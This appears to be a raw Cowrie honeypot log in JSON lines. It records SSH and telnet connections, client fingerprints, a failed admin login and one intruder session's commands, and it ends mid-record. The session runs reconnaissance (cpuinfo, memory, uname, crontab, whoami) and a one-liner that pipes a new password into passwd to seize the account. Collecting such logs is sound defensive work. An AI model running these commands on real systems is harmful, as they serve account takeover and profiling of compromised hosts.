{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:33.714734Z","src_ip":"200.118.150.20","session":"5c24a7d3190e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:34.105898Z","src_ip":"200.118.150.20","session":"5c24a7d3190e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:35.200849Z","src_ip":"200.118.150.20","session":"5c24a7d3190e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:35.348939Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:35.352979Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":36252,"dst_ip":"159.203.135.109","dst_port":23,"session":"f565cf157926","protocol":"telnet","message":"New connection: 68.183.198.12:36252 (159.203.135.109:23) [session: f565cf157926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:35.360304Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":36272,"dst_ip":"159.203.135.109","dst_port":23,"session":"208df7562656","protocol":"telnet","message":"New connection: 68.183.198.12:36272 (159.203.135.109:23) [session: 208df7562656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:35.367360Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:35.440964Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:35.685692Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin123!\\ndPN7P72foQu7\\ndPN7P72foQu7\"|passwd|bash","message":"CMD: echo -e \"admin123!\\ndPN7P72foQu7\\ndPN7P72foQu7\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:35.689149Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:35.693391Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:35.696733Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3da8a294b9c3786201fe2a284b89db35f266068d67a6c44844d8e058b558f6e2","size":32,"shasum":"3da8a294b9c3786201fe2a284b89db35f266068d67a6c44844d8e058b558f6e2","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3da8a294b9c3786201fe2a284b89db35f266068d67a6c44844d8e058b558f6e2 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:35.786197Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:35.992494Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin123!\\ndPN7P72foQu7\\ndPN7P72foQu7\\n\"|passwd","message":"CMD: echo \"admin123!\\ndPN7P72foQu7\\ndPN7P72foQu7\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:35.995416Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/59f50151f6e53894738be2845a8131d5b73c7286304b4ad18960bfcf37afd9f7","size":25,"shasum":"59f50151f6e53894738be2845a8131d5b73c7286304b4ad18960bfcf37afd9f7","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/59f50151f6e53894738be2845a8131d5b73c7286304b4ad18960bfcf37afd9f7 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:36.082233Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:36.336568Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:36.338899Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:36.426663Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:36.645829Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:36.649671Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:36.737090Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:37.226478Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:37.230300Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:37.233651Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:37.322152Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:37.535506Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:37.538487Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:37.624410Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:37.840106Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:37.843927Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:37.930554Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:38.142520Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:38.145538Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:38.232291Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:38.445385Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:38.449069Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:38.536558Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:38.752814Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:38.756401Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:38.844624Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":36724,"dst_ip":"159.203.135.109","dst_port":23,"session":"98190b8bf5e0","protocol":"telnet","message":"New connection: 68.183.198.12:36724 (159.203.135.109:23) [session: 98190b8bf5e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:38.909628Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:39.060283Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:39.064230Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:39.152523Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:39.359112Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:39.362026Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:39.448347Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:39.690043Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:39.693623Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:39.781211Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:39.998566Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:40.002255Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:40.091119Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:40.304629Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:40.308745Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:40.398752Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:40.403907Z","src_ip":"200.118.150.20","session":"877d37aedd8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.149708986282349,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:40.516977Z","src_ip":"68.183.198.12","session":"208df7562656","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55808,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eb3485978f7","protocol":"telnet","message":"New connection: 64.227.101.30:55808 (10.17.0.5:23) [session: 7eb3485978f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:40.524211Z"}
{"eventid":"cowrie.session.closed","duration":5.222059726715088,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:40.582192Z","src_ip":"68.183.198.12","session":"f565cf157926","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":5468,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7c843065821","protocol":"ssh","message":"New connection: 94.156.152.18:5468 (159.203.135.109:22) [session: b7c843065821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:44.915273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:44.920750Z","src_ip":"94.156.152.18","session":"b7c843065821","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-